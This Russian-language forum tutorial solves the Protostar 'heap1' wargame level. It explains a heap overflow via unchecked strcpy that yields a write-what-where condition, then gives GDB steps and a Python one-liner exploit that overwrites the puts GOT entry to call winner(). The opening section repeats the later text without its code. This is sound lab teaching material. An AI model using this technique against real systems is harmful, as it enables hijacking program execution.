Доброго времени суток codeby. В предыдущей статье мы работали над переполнением буфера в кучи и перезаписывали структурный указатель на функцию. В статье мы так же будем работать над переполнением кучи и познакомимся с произвольной перезаписью памяти — условием Write-What-Where, посмотрим, что это такое и с чем его едят. И так поехали…
Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.
Этот уровень находится в / opt / protostar / bin / heap1
Исходный код
Решение
Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.
Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.
В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция
И так…
В глобальной области памяти определена структура данных с именем
В главной функции
Две их них используются
Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.
Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора
Затем структурный указатель
Далее структурные указатели ссылаются на элемент
А теперь самое главное. Указатели структурного типа ссылаются на элемент
И получается у нас следующие… Было выделены две структуры
И так откроем программу под отладчиком GDB и дизассемблируем главную функцию
Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.
Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.
И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.
Посмотрим, что находится по адресу —
По адресу
Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.
Смотрим
Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).
Воспользуемся уже знакомым нам методом. Перезаписью
Или же через objdump
Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.
Теперь узнаем адрес функции
Адрес функции winner получен —
Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.
Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.
Цель первого аргумента состоит в том, чтобы переполнить буфер кучи
Запускаем сплойт
Отлично мы перехватили поток выполнения кода и выполнили функцию
Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.
Этот уровень находится в / opt / protostar / bin / heap1
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
Решение
Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.
Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.
В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция
winner()
. Поэтому суть сегодняшней задачи вызвать функцию winner()
. Но прежде, чем мы до нее доберемся рассмотрим исходный код данной нам программы.И так…
В глобальной области памяти определена структура данных с именем
internet
. В ней определены два элемента. Элемент priority
обозначенный как целочисленная переменная и элемент name
обозначенный как указатель на строку. Тут же можно добавить, что в языке Си конструкция char *ptr
эквивалента конструкции char ptr[]
.В главной функции
main()
под структуру internet
созданы три переменных i1
,i2
,i3
. Эти переменные являются указателями структурного типа для структуры internet
.Две их них используются
i1
и i2
. Третья переменная i3
нет.Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.
C:
i1 = malloc(sizeof(struct internet));
i2 = malloc(sizeof(struct internet));
Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора
sizeof
.Затем структурный указатель
i1
и i2
ссылается на элемент priority
в структуре internet
которому присваивается соответственно целочисленное значение 1 и 2.
C:
i1->priority = 1;
i2->priority = 2;
Далее структурные указатели ссылаются на элемент
name
в структуре internet
которому присваиваться адрес на выделенный блок в памяти из 8 байт.
C:
i1->name = malloc(8);
i2->name = malloc(8);
А теперь самое главное. Указатели структурного типа ссылаются на элемент
name
в структуре internet
. Используется функция strcpy()
, которая принимает входные данные через аргумент и пишет их в name
.
C:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
И получается у нас следующие… Было выделены две структуры
internet
. Каждая структура содержит указатель name
который выделяется отдельно. Это означает, что структура internet
, размещенная в куче, будет содержать указатель на другую часть памяти в куче.И так откроем программу под отладчиком GDB и дизассемблируем главную функцию
main()
.
Код:
gdb -q ./heap1
disas main
Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.
Код:
break *0x08048567
run AAAA BBBB
Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.
Код:
info proc map
И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.
Код:
x/50x 0x804a000
Посмотрим, что находится по адресу —
0x0804a038
.
Код:
x/x 0x0804a038
x/s 0x0804a038
По адресу
0x0804a038
находится куча №2. Следовательно у нас получается такая картина. Смещение до адреса кучи №2 составляет 20 байт. Проверим так ли это…Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.
Код:
run `python -c 'print "A"*20 + "B"*4'` CCCC
Смотрим
Код:
x/50x 0x804a000
Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).
Воспользуемся уже знакомым нам методом. Перезаписью
Ссылка скрыта от гостей
. Если мы посмотрим на дизассемблированный листинг программы функции main()
, то увидим, что сразу после второй уязвимой функцию strcpy()
, идет вызов функции puts()
, включая вызов адреса в PLT. Затем он переходит на адрес сохраненный в GOT. Этим мы и воспользуемся.
Код:
disas main
Код:
x/x 0x80483cc
x/i 0x80483cc
disas 0x80483cc
Или же через objdump
Код:
objdump -TR ./heap1
Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.
Теперь узнаем адрес функции
winner()
.
Код:
print &winner
Адрес функции winner получен —
0x8048494
.Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.
Код:
struct_offset + exec_redir_addr + winner_addr
"A"*20 + 0x8049774 + 0x8048494
Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.
Код:
struct_offest + exec_redir_addr | winner_addr
arg1 | arg2
Цель первого аргумента состоит в том, чтобы переполнить буфер кучи
i1-> name
в структуре i2
и перезаписать адрес i2-> name
адресом адреса puts_GOT
. Цель второго аргумента — просто указать адрес, на который будет перенаправлено выполнение кода.Запускаем сплойт
Код:
./heap1 `python -c 'from struct import pack; exec_redir_addr=pack("I",0x8049774); struct_offset= "A"*20; print struct_offset + exec_redir_addr'` `python -c 'from struct import pack; winner_addr=pack("I",0x8048494); print winner_addr'`
Отлично мы перехватили поток выполнения кода и выполнили функцию
winner()
. Теперь можно переходить на следующий
Ссылка скрыта от гостей
.